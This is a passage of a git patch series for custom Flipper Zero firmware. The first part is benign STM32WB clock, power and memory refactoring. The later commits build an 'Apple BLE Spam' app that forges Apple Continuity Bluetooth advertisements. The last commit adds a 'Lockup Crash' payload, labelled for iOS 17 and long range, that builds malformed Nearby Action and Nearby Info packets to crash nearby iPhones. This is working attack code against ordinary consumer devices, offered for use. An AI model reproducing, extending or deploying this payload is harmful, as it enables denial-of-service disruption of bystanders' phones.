b/firmware/targets/f7/furi_hal/furi_hal_clock.c +index 86c8fd467..736ad9f7c 100644 +--- a/firmware/targets/f7/furi_hal/furi_hal_clock.c ++++ b/firmware/targets/f7/furi_hal/furi_hal_clock.c +@@ -4,26 +4,19 @@ + + #include + #include +-#include + #include + #include + +-#include +-#include +- + #define TAG "FuriHalClock" + +-#define CPU_CLOCK_EARLY_HZ 4000000 +-#define CPU_CLOCK_HSI16_HZ 16000000 +-#define CPU_CLOCK_HSE_HZ 32000000 +-#define CPU_CLOCK_PLL_HZ 64000000 +- ++#define CPU_CLOCK_HZ_EARLY 4000000 ++#define CPU_CLOCK_HZ_MAIN 64000000 + #define TICK_INT_PRIORITY 15U + #define HS_CLOCK_IS_READY() (LL_RCC_HSE_IsReady() && LL_RCC_HSI_IsReady()) + #define LS_CLOCK_IS_READY() (LL_RCC_LSE_IsReady() && LL_RCC_LSI1_IsReady()) + + void furi_hal_clock_init_early() { +- LL_SetSystemCoreClock(CPU_CLOCK_EARLY_HZ); ++ LL_SetSystemCoreClock(CPU_CLOCK_HZ_EARLY); + LL_Init1msTick(SystemCoreClock); + } + +@@ -31,6 +24,11 @@ void furi_hal_clock_deinit_early() { + } + + void furi_hal_clock_init() { ++ /* Prepare Flash memory for 64MHz system clock */ ++ LL_FLASH_SetLatency(LL_FLASH_LATENCY_3); ++ while(LL_FLASH_GetLatency() != LL_FLASH_LATENCY_3) ++ ; ++ + /* HSE and HSI configuration and activation */ + LL_RCC_HSE_SetCapacitorTuning(0x26); + LL_RCC_HSE_Enable(); +@@ -51,6 +49,9 @@ void furi_hal_clock_init() { + while(!LS_CLOCK_IS_READY()) + ; + ++ /* RF wakeup */ ++ LL_RCC_SetRFWKPClockSource(LL_RCC_RFWKP_CLKSOURCE_LSE); ++ + LL_EXTI_EnableIT_0_31( + LL_EXTI_LINE_18); /* Why? Because that's why. See RM0434, Table 61. CPU1 vector table. */ + LL_EXTI_EnableRisingTrig_0_31(LL_EXTI_LINE_18); +@@ -78,17 +79,12 @@ void furi_hal_clock_init() { + ; + + /* Sysclk activation on the main PLL */ +- /* Set CPU1 prescaler */ ++ /* Set CPU1 prescaler*/ + LL_RCC_SetAHBPrescaler(LL_RCC_SYSCLK_DIV_1); + +- /* Set CPU2 prescaler, from this point we are not allowed to touch it. */ ++ /* Set CPU2 prescaler*/ + LL_C2_RCC_SetAHBPrescaler(LL_RCC_SYSCLK_DIV_2); + +- /* Prepare Flash memory for work on 64MHz system clock */ +- LL_FLASH_SetLatency(LL_FLASH_LATENCY_3); +- while(LL_FLASH_GetLatency() != LL_FLASH_LATENCY_3) +- ; +- + LL_RCC_SetSysClkSource(LL_RCC_SYS_CLKSOURCE_PLL); + while(LL_RCC_GetSysClkSource() != LL_RCC_SYS_CLKSOURCE_STATUS_PLL) + ; +@@ -108,7 +104,7 @@ void furi_hal_clock_init() { + ; + + /* Update CMSIS variable (which can be updated also through SystemCoreClockUpdate function) */ +- LL_SetSystemCoreClock(CPU_CLOCK_PLL_HZ); ++ LL_SetSystemCoreClock(CPU_CLOCK_HZ_MAIN); + + /* Update the time base */ + LL_Init1msTick(SystemCoreClock); +@@ -126,7 +122,7 @@ void furi_hal_clock_init() { + FURI_LOG_I(TAG, "Init OK"); + } + +-void furi_hal_clock_switch_hse2hsi() { ++void furi_hal_clock_switch_to_hsi() { + LL_RCC_HSI_Enable(); + + while(!LL_RCC_HSI_IsReady()) +@@ -138,77 +134,46 @@ void furi_hal_clock_switch_hse2hsi() { + while(LL_RCC_GetSysClkSource() != LL_RCC_SYS_CLKSOURCE_STATUS_HSI) + ; + ++ LL_C2_RCC_SetAHBPrescaler(LL_RCC_SYSCLK_DIV_1); ++ + LL_FLASH_SetLatency(LL_FLASH_LATENCY_0); + while(LL_FLASH_GetLatency() != LL_FLASH_LATENCY_0) + ; + } + +-void furi_hal_clock_switch_hsi2hse() { ++void furi_hal_clock_switch_to_pll() { + #ifdef FURI_HAL_CLOCK_TRACK_STARTUP + uint32_t clock_start_time = DWT->CYCCNT; + #endif + + LL_RCC_HSE_Enable(); +- while(!LL_RCC_HSE_IsReady()) +- ; +- +- LL_FLASH_SetLatency(LL_FLASH_LATENCY_1); +- while(LL_FLASH_GetLatency() != LL_FLASH_LATENCY_1) +- ; +- +- LL_RCC_SetSysClkSource(LL_RCC_SYS_CLKSOURCE_HSE); +- +- while(LL_RCC_GetSysClkSource() != LL_RCC_SYS_CLKSOURCE_STATUS_HSE) +- ; +- +-#ifdef FURI_HAL_CLOCK_TRACK_STARTUP +- uint32_t total = DWT->CYCCNT - clock_start_time; +- if(total > (20 * 0x148)) { +- furi_crash("Slow HSE/PLL startup"); +- } +-#endif +-} +- +-bool furi_hal_clock_switch_hse2pll() { +- furi_assert(LL_RCC_GetSysClkSource() == LL_RCC_SYS_CLKSOURCE_STATUS_HSE); +- + LL_RCC_PLL_Enable(); + LL_RCC_PLLSAI1_Enable(); + ++ while(!LL_RCC_HSE_IsReady()) ++ ; + while(!LL_RCC_PLL_IsReady()) + ; + while(!LL_RCC_PLLSAI1_IsReady()) + ; + +- if(SHCI_C2_SetSystemClock(SET_SYSTEM_CLOCK_HSE_TO_PLL) != SHCI_Success) { +- return false; +- } +- +- furi_check(LL_RCC_GetSysClkSource() == LL_RCC_SYS_CLKSOURCE_STATUS_PLL); +- +- LL_SetSystemCoreClock(CPU_CLOCK_PLL_HZ); +- SysTick->LOAD = (uint32_t)((SystemCoreClock / 1000) - 1UL); ++ LL_C2_RCC_SetAHBPrescaler(LL_RCC_SYSCLK_DIV_2); + +- return true; +-} ++ LL_FLASH_SetLatency(LL_FLASH_LATENCY_3); ++ while(LL_FLASH_GetLatency() != LL_FLASH_LATENCY_3) ++ ; + +-bool furi_hal_clock_switch_pll2hse() { +- furi_assert(LL_RCC_GetSysClkSource() == LL_RCC_SYS_CLKSOURCE_STATUS_PLL); ++ LL_RCC_SetSysClkSource(LL_RCC_SYS_CLKSOURCE_PLL); + +- LL_RCC_HSE_Enable(); +- while(!LL_RCC_HSE_IsReady()) ++ while(LL_RCC_GetSysClkSource() != LL_RCC_SYS_CLKSOURCE_STATUS_PLL) + ; + +- if(SHCI_C2_SetSystemClock(SET_SYSTEM_CLOCK_PLL_ON_TO_HSE) != SHCI_Success) { +- return false; ++#ifdef FURI_HAL_CLOCK_TRACK_STARTUP ++ uint32_t total = DWT->CYCCNT - clock_start_time; ++ if(total > (20 * 0x148)) { ++ furi_crash("Slow HSE/PLL startup"); + } +- +- furi_check(LL_RCC_GetSysClkSource() == LL_RCC_SYS_CLKSOURCE_STATUS_HSE); +- +- LL_SetSystemCoreClock(CPU_CLOCK_HSE_HZ); +- SysTick->LOAD = (uint32_t)((SystemCoreClock / 1000) - 1UL); +- +- return true; ++#endif + } + + void furi_hal_clock_suspend_tick() { +diff --git a/firmware/targets/f7/furi_hal/furi_hal_clock.h b/firmware/targets/f7/furi_hal/furi_hal_clock.h +index 3100b619f..5e651bbd3 100644 +--- a/firmware/targets/f7/furi_hal/furi_hal_clock.h ++++ b/firmware/targets/f7/furi_hal/furi_hal_clock.h +@@ -1,12 +1,11 @@ + #pragma once + +-#include +-#include +- + #ifdef __cplusplus + extern "C" { + #endif + ++#include ++ + typedef enum { + FuriHalClockMcoLse, + FuriHalClockMcoSysclk, +@@ -41,23 +40,11 @@ void furi_hal_clock_deinit_early(); + /** Initialize clocks */ + void furi_hal_clock_init(); + +-/** Switch clock from HSE to HSI */ +-void furi_hal_clock_switch_hse2hsi(); +- +-/** Switch clock from HSI to HSE */ +-void furi_hal_clock_switch_hsi2hse(); +- +-/** Switch clock from HSE to PLL +- * +- * @return true if changed, false if failed or not possible at this moment +- */ +-bool furi_hal_clock_switch_hse2pll(); ++/** Switch to HSI clock */ ++void furi_hal_clock_switch_to_hsi(); + +-/** Switch clock from PLL to HSE +- * +- * @return true if changed, false if failed or not possible at this moment +- */ +-bool furi_hal_clock_switch_pll2hse(); ++/** Switch to PLL clock */ ++void furi_hal_clock_switch_to_pll(); + + /** Stop SysTick counter without resetting */ + void furi_hal_clock_suspend_tick(); +diff --git a/firmware/targets/f7/furi_hal/furi_hal_console.c b/firmware/targets/f7/furi_hal/furi_hal_console.c +index 0b113d2da..2bdc57250 100644 +--- a/firmware/targets/f7/furi_hal/furi_hal_console.c ++++ b/firmware/targets/f7/furi_hal/furi_hal_console.c +@@ -5,6 +5,8 @@ + #include + #include + ++#include ++ + #include + + #define TAG "FuriHalConsole" +diff --git a/firmware/targets/f7/furi_hal/furi_hal_flash.c b/firmware/targets/f7/furi_hal/furi_hal_flash.c +index bc65b29eb..796d20b19 100644 +--- a/firmware/targets/f7/furi_hal/furi_hal_flash.c ++++ b/firmware/targets/f7/furi_hal/furi_hal_flash.c +@@ -7,9 +7,6 @@ + #include + + #include +-#include +- +-#include + + #define TAG "FuriHalFlash" + +diff --git a/firmware/targets/f7/furi_hal/furi_hal_memory.c b/firmware/targets/f7/furi_hal/furi_hal_memory.c +index 3f8df1f44..7f69b90ca 100644 +--- a/firmware/targets/f7/furi_hal/furi_hal_memory.c ++++ b/firmware/targets/f7/furi_hal/furi_hal_memory.c +@@ -4,6 +4,9 @@ + + #define TAG "FuriHalMemory" + ++// STM(TM) Copro(TM) bug(TM) workaround size ++#define RAM2B_COPRO_GAP_SIZE_KB 2 ++ + typedef enum { + SRAM_A, + SRAM_B, +@@ -35,20 +38,13 @@ void furi_hal_memory_init() { + uint32_t sbrsa = (FLASH->SRRVR & FLASH_SRRVR_SBRSA_Msk) >> FLASH_SRRVR_SBRSA_Pos; + uint32_t snbrsa = (FLASH->SRRVR & FLASH_SRRVR_SNBRSA_Msk) >> FLASH_SRRVR_SNBRSA_Pos; + +- // STM(TM) Copro(TM) bug(TM): SNBRSA is incorrect if stack version is higher than 1.13 and lower than 1.17.2+ +- // Radio core started, but not yet ready, so we'll try to guess +- // This will be true only if BLE light radio stack used, +- // 0x0D is known to be incorrect, 0x0B is known to be correct since 1.17.2+ +- // Lower value by 2 pages to match real memory layout +- if(snbrsa > 0x0B) { +- FURI_LOG_E(TAG, "SNBRSA workaround"); +- snbrsa -= 2; +- } +- + uint32_t sram2a_busy_size = (uint32_t)&__sram2a_free__ - (uint32_t)&__sram2a_start__; + uint32_t sram2a_unprotected_size = (sbrsa)*1024; + uint32_t sram2b_unprotected_size = (snbrsa)*1024; + ++ // STM(TM) Copro(TM) bug(TM) workaround ++ sram2b_unprotected_size -= 1024 * RAM2B_COPRO_GAP_SIZE_KB; ++ + memory->region[SRAM_A].start = (uint8_t*)&__sram2a_free__; + memory->region[SRAM_B].start = (uint8_t*)&__sram2b_start__; + +diff --git a/firmware/targets/f7/furi_hal/furi_hal_os.c b/firmware/targets/f7/furi_hal/furi_hal_os.c +index 046cf79dc..3fc1fbea8 100644 +--- a/firmware/targets/f7/furi_hal/furi_hal_os.c ++++ b/firmware/targets/f7/furi_hal/furi_hal_os.c +@@ -170,35 +170,27 @@ void vPortSuppressTicksAndSleep(TickType_t expected_idle_ticks) { + return; + } + +- // Core2 shenanigans takes extra time, so we want to compensate tick skew by reducing sleep duration by 1 tick +- TickType_t unexpected_idle_ticks = expected_idle_ticks - 1; +- + // Limit amount of ticks to maximum that timer can count +- if(unexpected_idle_ticks > FURI_HAL_OS_MAX_SLEEP) { +- unexpected_idle_ticks = FURI_HAL_OS_MAX_SLEEP; ++ if(expected_idle_ticks > FURI_HAL_OS_MAX_SLEEP) { ++ expected_idle_ticks = FURI_HAL_OS_MAX_SLEEP; + } + + // Stop IRQ handling, no one should disturb us till we finish + __disable_irq(); +- do { +- // Confirm OS that sleep is still possible +- if(eTaskConfirmSleepModeStatus() == eAbortSleep || furi_hal_os_is_pending_irq()) { +- break; +- } + +- // Sleep and track how much ticks we spent sleeping +- uint32_t completed_ticks = furi_hal_os_sleep(unexpected_idle_ticks); +- // Notify system about time spent in sleep +- if(completed_ticks > 0) { +- if(completed_ticks > expected_idle_ticks) { +-#ifdef FURI_HAL_OS_DEBUG +- furi_hal_console_printf(">%lu\r\n", completed_ticks - expected_idle_ticks); +-#endif +- completed_ticks = expected_idle_ticks; +- } +- vTaskStepTick(completed_ticks); +- } +- } while(0); ++ // Confirm OS that sleep is still possible ++ if(eTaskConfirmSleepModeStatus() == eAbortSleep || furi_hal_os_is_pending_irq()) { ++ __enable_irq(); ++ return; ++ } ++ ++ // Sleep and track how much ticks we spent sleeping ++ uint32_t completed_ticks = furi_hal_os_sleep(expected_idle_ticks); ++ // Notify system about time spent in sleep ++ if(completed_ticks > 0) { ++ vTaskStepTick(MIN(completed_ticks, expected_idle_ticks)); ++ } ++ + // Reenable IRQ + __enable_irq(); + } +diff --git a/firmware/targets/f7/furi_hal/furi_hal_power.c b/firmware/targets/f7/furi_hal/furi_hal_power.c +index c14de8569..035919d78 100644 +--- a/firmware/targets/f7/furi_hal/furi_hal_power.c ++++ b/firmware/targets/f7/furi_hal/furi_hal_power.c +@@ -13,7 +13,7 @@ + #include + #include + +-#include ++#include + #include + #include + #include +@@ -162,11 +162,6 @@ static inline void furi_hal_power_resume_aux_periphs() { + static inline void furi_hal_power_deep_sleep() { + furi_hal_power_suspend_aux_periphs(); + +- if(!furi_hal_clock_switch_pll2hse()) { +- // Hello core2 my old friend +- return; +- } +- + while(LL_HSEM_1StepLock(HSEM, CFG_HW_RCC_SEMID)) + ; + +@@ -176,13 +171,13 @@ static inline void furi_hal_power_deep_sleep() { + LL_HSEM_ReleaseLock(HSEM, CFG_HW_ENTRY_STOP_MODE_SEMID, 0); + + // The switch on HSI before entering Stop Mode is required +- furi_hal_clock_switch_hse2hsi(); ++ furi_hal_clock_switch_to_hsi(); + } + } else { + /** + * The switch on HSI before entering Stop Mode is required + */ +- furi_hal_clock_switch_hse2hsi(); ++ furi_hal_clock_switch_to_hsi(); + } + + /* Release RCC semaphore */ +@@ -206,14 +201,12 @@ static inline void furi_hal_power_deep_sleep() { + while(LL_HSEM_1StepLock(HSEM, CFG_HW_RCC_SEMID)) + ; + +- if(LL_RCC_GetSysClkSource() != LL_RCC_SYS_CLKSOURCE_STATUS_HSE) { +- furi_hal_clock_switch_hsi2hse(); ++ if(LL_RCC_GetSysClkSource() != LL_RCC_SYS_CLKSOURCE_STATUS_PLL) { ++ furi_hal_clock_switch_to_pll(); + } + + LL_HSEM_ReleaseLock(HSEM, CFG_HW_RCC_SEMID, 0); + +- furi_check(furi_hal_clock_switch_hse2pll()); +- + furi_hal_power_resume_aux_periphs(); + furi_hal_rtc_sync_shadow(); + } +diff --git a/firmware/targets/f7/furi_hal/furi_hal_random.c b/firmware/targets/f7/furi_hal/furi_hal_random.c +index 225519303..cf4b552f6 100644 +--- a/firmware/targets/f7/furi_hal/furi_hal_random.c ++++ b/firmware/targets/f7/furi_hal/furi_hal_random.c +@@ -6,7 +6,7 @@ + #include + #include + +-#include ++#include + + #define TAG "FuriHalRandom" + +diff --git a/firmware/targets/furi_hal_include/furi_hal_bt.h b/firmware/targets/furi_hal_include/furi_hal_bt.h +index 25a20c4c3..b7d4eae1a 100644 +--- a/firmware/targets/furi_hal_include/furi_hal_bt.h ++++ b/firmware/targets/furi_hal_include/furi_hal_bt.h +@@ -8,7 +8,7 @@ + #include + #include + #include +-#include ++#include + #include + #include + +diff --git a/firmware/targets/furi_hal_include/furi_hal_bt_serial.h b/firmware/targets/furi_hal_include/furi_hal_bt_serial.h +index 0472d31d1..1b6e79ab0 100644 +--- a/firmware/targets/furi_hal_include/furi_hal_bt_serial.h ++++ b/firmware/targets/furi_hal_include/furi_hal_bt_serial.h +@@ -1,6 +1,6 @@ + #pragma once + +-#include ++#include "serial_service.h" + + #ifdef __cplusplus + extern "C" { +diff --git a/lib/stm32wb.scons b/lib/stm32wb.scons +index 8a8ad9644..94a1c7075 100644 +--- a/lib/stm32wb.scons ++++ b/lib/stm32wb.scons +@@ -64,6 +64,7 @@ sources += [ + "stm32wb_copro/wpan/ble/core/auto/ble_l2cap_aci.c", + "stm32wb_copro/wpan/ble/core/template/osal.c", + "stm32wb_copro/wpan/utilities/dbg_trace.c", ++ "stm32wb_copro/wpan/utilities/otp.c", + "stm32wb_copro/wpan/utilities/stm_list.c", + ] + +diff --git a/lib/stm32wb_copro b/lib/stm32wb_copro +index bbccbefae..6c9c54f05 160000 +--- a/lib/stm32wb_copro ++++ b/lib/stm32wb_copro +@@ -1 +1 @@ +-Subproject commit bbccbefae26a2301b8a4b58e57ebdeb93c08269b ++Subproject commit 6c9c54f05669b2c4d436df58bb691d3b0d7c86df +diff --git a/scripts/ob.data b/scripts/ob.data +index 9f6f1d081..605faccbf 100644 +--- a/scripts/ob.data ++++ b/scripts/ob.data +@@ -14,15 +14,15 @@ IWDGSTOP:0x1:rw + IWDGSW:0x1:rw + IPCCDBA:0x0:rw + ESE:0x1:r +-SFSA:0xD7:r ++SFSA:0xD5:r + FSD:0x0:r + DDS:0x1:r + C2OPT:0x1:r + NBRSD:0x0:r +-SNBRSA:0xB:r ++SNBRSA:0xD:r + BRSD:0x0:r + SBRSA:0x12:r +-SBRV:0x35C00:r ++SBRV:0x35400:r + PCROP1A_STRT:0x1FF:r + PCROP1A_END:0x0:r + PCROP_RDP:0x1:rw +diff --git a/scripts/update.py b/scripts/update.py +index da4a93aee..e6c69d35f 100755 +--- a/scripts/update.py ++++ b/scripts/update.py +@@ -74,9 +74,6 @@ class Main(App): + self.parser_generate.add_argument( + "--I-understand-what-I-am-doing", dest="disclaimer", required=False + ) +- self.parser_generate.add_argument( +- "--stackversion", dest="stack_version", required=False, default="" +- ) + + self.parser_generate.set_defaults(func=self.generate) + +@@ -97,13 +94,6 @@ class Main(App): + if not self.args.radiotype: + raise ValueError("Missing --radiotype") + radio_meta = CoproBinary(self.args.radiobin) +- if self.args.stack_version: +- actual_stack_version_str = f"{radio_meta.img_sig.version_major}.{radio_meta.img_sig.version_minor}.{radio_meta.img_sig.version_sub}" +- if actual_stack_version_str != self.args.stack_version: +- self.logger.error( +- f"Stack version mismatch: expected {self.args.stack_version}, actual {actual_stack_version_str}" +- ) +- return 1 + radio_version = self.copro_version_as_int(radio_meta, self.args.radiotype) + if ( + get_stack_type(self.args.radiotype) not in self.WHITELISTED_STACK_TYPES From 0adbf1ec1dc44d389f3e1bea708beaaafdf6d818 Mon Sep 17 00:00:00 2001 From: ClaraCrazy Date: Sat, 30 Sep 2023 22:55:52 +0200 Subject: [PATCH 34/40] Backlight Fix #2: only if LoaderStatusOk --nobuild --- applications/services/loader/loader_cli.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/applications/services/loader/loader_cli.c b/applications/services/loader/loader_cli.c index 1b0541f758..17f0319e21 100644 --- a/applications/services/loader/loader_cli.c +++ b/applications/services/loader/loader_cli.c @@ -54,13 +54,13 @@ static void loader_cli_open(FuriString* args, Loader* loader) { const char* app_name_str = furi_string_get_cstr(app_name); - NotificationApp* notifications = furi_record_open(RECORD_NOTIFICATION); - notification_message(notifications, &sequence_display_backlight_on); - furi_record_close(RECORD_NOTIFICATION); - FuriString* error_message = furi_string_alloc(); if(loader_start(loader, app_name_str, args_str, error_message) != LoaderStatusOk) { printf("%s\r\n", furi_string_get_cstr(error_message)); + } else { + NotificationApp* notifications = furi_record_open(RECORD_NOTIFICATION); + notification_message(notifications, &sequence_display_backlight_on); + furi_record_close(RECORD_NOTIFICATION); } furi_string_free(error_message); } while(false); From 5290eea952bc1148d9080d2df8607928b2751a96 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 30 Sep 2023 23:21:39 +0100 Subject: [PATCH 35/40] Format --- .../external/apple_ble_spam/apple_ble_spam.c | 64 +++++++++---------- 1 file changed, 32 insertions(+), 32 deletions(-) diff --git a/applications/external/apple_ble_spam/apple_ble_spam.c b/applications/external/apple_ble_spam/apple_ble_spam.c index ace2e82d3d..a57d784d24 100644 --- a/applications/external/apple_ble_spam/apple_ble_spam.c +++ b/applications/external/apple_ble_spam/apple_ble_spam.c @@ -23,38 +23,38 @@ typedef struct { static Payload payloads[] = { #if false - {.title = "AirDrop", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeAirDrop, - .data = {.airdrop = {}}, - }}, - {.title = "Airplay Target", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeAirplayTarget, - .data = {.airplay_target = {}}, - }}, - {.title = "Handoff", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeHandoff, - .data = {.handoff = {}}, - }}, - {.title = "Tethering Source", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeTetheringSource, - .data = {.tethering_source = {}}, - }}, + {.title = "AirDrop", + .text = "", + .random = false, + .msg = + { + .type = ContinuityTypeAirDrop, + .data = {.airdrop = {}}, + }}, + {.title = "Airplay Target", + .text = "", + .random = false, + .msg = + { + .type = ContinuityTypeAirplayTarget, + .data = {.airplay_target = {}}, + }}, + {.title = "Handoff", + .text = "", + .random = false, + .msg = + { + .type = ContinuityTypeHandoff, + .data = {.handoff = {}}, + }}, + {.title = "Tethering Source", + .text = "", + .random = false, + .msg = + { + .type = ContinuityTypeTetheringSource, + .data = {.tethering_source = {}}, + }}, {.title = "Mobile Backup", .text = "", .random = false, From 64b76f63b4c89df616c5f00a1f8c591aa4b160ba Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 30 Sep 2023 23:31:18 +0100 Subject: [PATCH 36/40] Improved packet structure info for apple ble --nobuild --- .../lib/continuity/continuity.c | 21 ++++++++++--------- 1 file changed, 11 insertions(+), 10 deletions(-) diff --git a/applications/external/apple_ble_spam/lib/continuity/continuity.c b/applications/external/apple_ble_spam/lib/continuity/continuity.c index e3fc072df3..e9c0b11dab 100644 --- a/applications/external/apple_ble_spam/lib/continuity/continuity.c +++ b/applications/external/apple_ble_spam/lib/continuity/continuity.c @@ -20,13 +20,14 @@ const char* continuity_get_type_name(ContinuityType type) { return continuity_type_names[type]; } +#define HEADER_LEN (6) // 1 Length + 1 ? + 2 Company ID + 1 Continuity Type + 1 Continuity Length static uint8_t continuity_packet_sizes[ContinuityTypeCount] = { - [ContinuityTypeAirDrop] = 24, - [ContinuityTypeProximityPair] = 31, - [ContinuityTypeAirplayTarget] = 12, - [ContinuityTypeHandoff] = 20, - [ContinuityTypeTetheringSource] = 12, - [ContinuityTypeNearbyAction] = 11, + [ContinuityTypeAirDrop] = HEADER_LEN + 18, + [ContinuityTypeProximityPair] = HEADER_LEN + 25, + [ContinuityTypeAirplayTarget] = HEADER_LEN + 6, + [ContinuityTypeHandoff] = HEADER_LEN + 14, + [ContinuityTypeTetheringSource] = HEADER_LEN + 6, + [ContinuityTypeNearbyAction] = HEADER_LEN + 5, }; uint8_t continuity_get_packet_size(ContinuityType type) { return continuity_packet_sizes[type]; @@ -37,11 +38,11 @@ void continuity_generate_packet(const ContinuityMsg* msg, uint8_t* packet) { uint8_t i = 0; packet[i++] = size - 1; // Packet Length - packet[i++] = 0xFF; // Packet Header - packet[i++] = 0x4C; // ... + packet[i++] = 0xFF; // Packet Type (Manufacturer Specific) + packet[i++] = 0x4C; // Packet Company ID (Apple, Inc.) packet[i++] = 0x00; // ... - packet[i++] = msg->type; // Type - packet[i] = size - i - 1; // Message Length + packet[i++] = msg->type; // Continuity Type + packet[i] = size - i - 1; // Continuity Length i++; switch(msg->type) { From 0756c1fad3a18ab401e82fa01c0b3a658383e7c6 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sun, 1 Oct 2023 01:07:54 +0100 Subject: [PATCH 37/40] Add nearby info non-functional packet --- applications/external/apple_ble_spam/apple_ble_spam.c | 8 ++++++++ .../apple_ble_spam/lib/continuity/continuity.c | 10 ++++++++++ .../apple_ble_spam/lib/continuity/continuity.h | 3 +++ 3 files changed, 21 insertions(+) diff --git a/applications/external/apple_ble_spam/apple_ble_spam.c b/applications/external/apple_ble_spam/apple_ble_spam.c index a57d784d24..1ab1c87778 100644 --- a/applications/external/apple_ble_spam/apple_ble_spam.c +++ b/applications/external/apple_ble_spam/apple_ble_spam.c @@ -175,6 +175,14 @@ static Payload payloads[] = { .type = ContinuityTypeNearbyAction, .data = {.nearby_action = {.flags = 0xC0, .type = 0x17}}, }}, + {.title = "Nearby Info", + .text = "", + .random = false, + .msg = + { + .type = ContinuityTypeNearbyInfo, + .data = {.nearby_info = {}}, + }}, #endif {.title = "Random Action", .text = "Spam shuffle Nearby Actions", diff --git a/applications/external/apple_ble_spam/lib/continuity/continuity.c b/applications/external/apple_ble_spam/lib/continuity/continuity.c index e9c0b11dab..3d50107b15 100644 --- a/applications/external/apple_ble_spam/lib/continuity/continuity.c +++ b/applications/external/apple_ble_spam/lib/continuity/continuity.c @@ -15,6 +15,7 @@ static const char* continuity_type_names[ContinuityTypeCount] = { [ContinuityTypeHandoff] = "Handoff", [ContinuityTypeTetheringSource] = "Tethering Source", [ContinuityTypeNearbyAction] = "Nearby Action", + [ContinuityTypeNearbyInfo] = "Nearby Info", }; const char* continuity_get_type_name(ContinuityType type) { return continuity_type_names[type]; @@ -28,6 +29,7 @@ static uint8_t continuity_packet_sizes[ContinuityTypeCount] = { [ContinuityTypeHandoff] = HEADER_LEN + 14, [ContinuityTypeTetheringSource] = HEADER_LEN + 6, [ContinuityTypeNearbyAction] = HEADER_LEN + 5, + [ContinuityTypeNearbyInfo] = HEADER_LEN + 5, }; uint8_t continuity_get_packet_size(ContinuityType type) { return continuity_packet_sizes[type]; @@ -125,6 +127,14 @@ void continuity_generate_packet(const ContinuityMsg* msg, uint8_t* packet) { i += 3; break; + case ContinuityTypeNearbyInfo: + packet[i++] = ((rand() % 16) << 4) + (rand() % 16); // Status Flags and Action Code + packet[i++] = (rand() % 256); // Status Flags + packet[i++] = (rand() % 256); // Authentication Tag + packet[i++] = (rand() % 256); // ... + packet[i++] = (rand() % 256); // ... + break; + default: break; } diff --git a/applications/external/apple_ble_spam/lib/continuity/continuity.h b/applications/external/apple_ble_spam/lib/continuity/continuity.h index 243e14f45e..01a53364c7 100644 --- a/applications/external/apple_ble_spam/lib/continuity/continuity.h +++ b/applications/external/apple_ble_spam/lib/continuity/continuity.h @@ -17,6 +17,7 @@ typedef enum { ContinuityTypeHandoff = 0x0C, ContinuityTypeTetheringSource = 0x0E, ContinuityTypeNearbyAction = 0x0F, + ContinuityTypeNearbyInfo = 0x10, ContinuityTypeCount } ContinuityType; @@ -37,6 +38,8 @@ typedef union { uint8_t flags; uint8_t type; } nearby_action; + struct { + } nearby_info; } ContinuityData; typedef struct { From d2d0f2844917c0617ac86b884e14f4b2b4a92a73 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sun, 1 Oct 2023 01:39:01 +0100 Subject: [PATCH 38/40] iOS 17 CRASH for Apple BLE Spam --- .../external/apple_ble_spam/apple_ble_spam.c | 8 +++++++ .../lib/continuity/continuity.c | 22 +++++++++++++++++++ .../lib/continuity/continuity.h | 4 ++++ 3 files changed, 34 insertions(+) diff --git a/applications/external/apple_ble_spam/apple_ble_spam.c b/applications/external/apple_ble_spam/apple_ble_spam.c index 1ab1c87778..0d38c9ad00 100644 --- a/applications/external/apple_ble_spam/apple_ble_spam.c +++ b/applications/external/apple_ble_spam/apple_ble_spam.c @@ -184,6 +184,14 @@ static Payload payloads[] = { .data = {.nearby_info = {}}, }}, #endif + {.title = "Lockup Crash", + .text = "iOS 17, locked, long range", + .random = false, + .msg = + { + .type = ContinuityTypeCustomCrash, + .data = {.custom_crash = {}}, + }}, {.title = "Random Action", .text = "Spam shuffle Nearby Actions", .random = true, diff --git a/applications/external/apple_ble_spam/lib/continuity/continuity.c b/applications/external/apple_ble_spam/lib/continuity/continuity.c index 3d50107b15..9d6856adc1 100644 --- a/applications/external/apple_ble_spam/lib/continuity/continuity.c +++ b/applications/external/apple_ble_spam/lib/continuity/continuity.c @@ -1,5 +1,6 @@ #include "continuity.h" #include +#include // Hacked together by @Willy-JL // Custom adv logic by @Willy-JL (idea by @xMasterX) @@ -16,6 +17,7 @@ static const char* continuity_type_names[ContinuityTypeCount] = { [ContinuityTypeTetheringSource] = "Tethering Source", [ContinuityTypeNearbyAction] = "Nearby Action", [ContinuityTypeNearbyInfo] = "Nearby Info", + [ContinuityTypeCustomCrash] = "Custom Packet", }; const char* continuity_get_type_name(ContinuityType type) { return continuity_type_names[type]; @@ -30,6 +32,7 @@ static uint8_t continuity_packet_sizes[ContinuityTypeCount] = { [ContinuityTypeTetheringSource] = HEADER_LEN + 6, [ContinuityTypeNearbyAction] = HEADER_LEN + 5, [ContinuityTypeNearbyInfo] = HEADER_LEN + 5, + [ContinuityTypeCustomCrash] = HEADER_LEN + 11, }; uint8_t continuity_get_packet_size(ContinuityType type) { return continuity_packet_sizes[type]; @@ -135,6 +138,25 @@ void continuity_generate_packet(const ContinuityMsg* msg, uint8_t* packet) { packet[i++] = (rand() % 256); // ... break; + case ContinuityTypeCustomCrash: + i -= 2; // Override segment header + + packet[i++] = ContinuityTypeNearbyAction; // Type + packet[i++] = 0x05; // Length + packet[i++] = 0xC1; // Action Flags + const uint8_t types[] = {0x27, 0x09, 0x02, 0x1e, 0x2b, 0x2d, 0x2f, 0x01, 0x06, 0x20, 0xc0}; + packet[i++] = types[rand() % COUNT_OF(types)]; // Action Type + furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag + i += 3; + + packet[i++] = 0x00; // ??? + packet[i++] = 0x00; // ??? + + packet[i++] = ContinuityTypeNearbyInfo; // Type ??? + furi_hal_random_fill_buf(&packet[i], 3); // Shenanigans (Length + IDK) ??? + i += 3; + break; + default: break; } diff 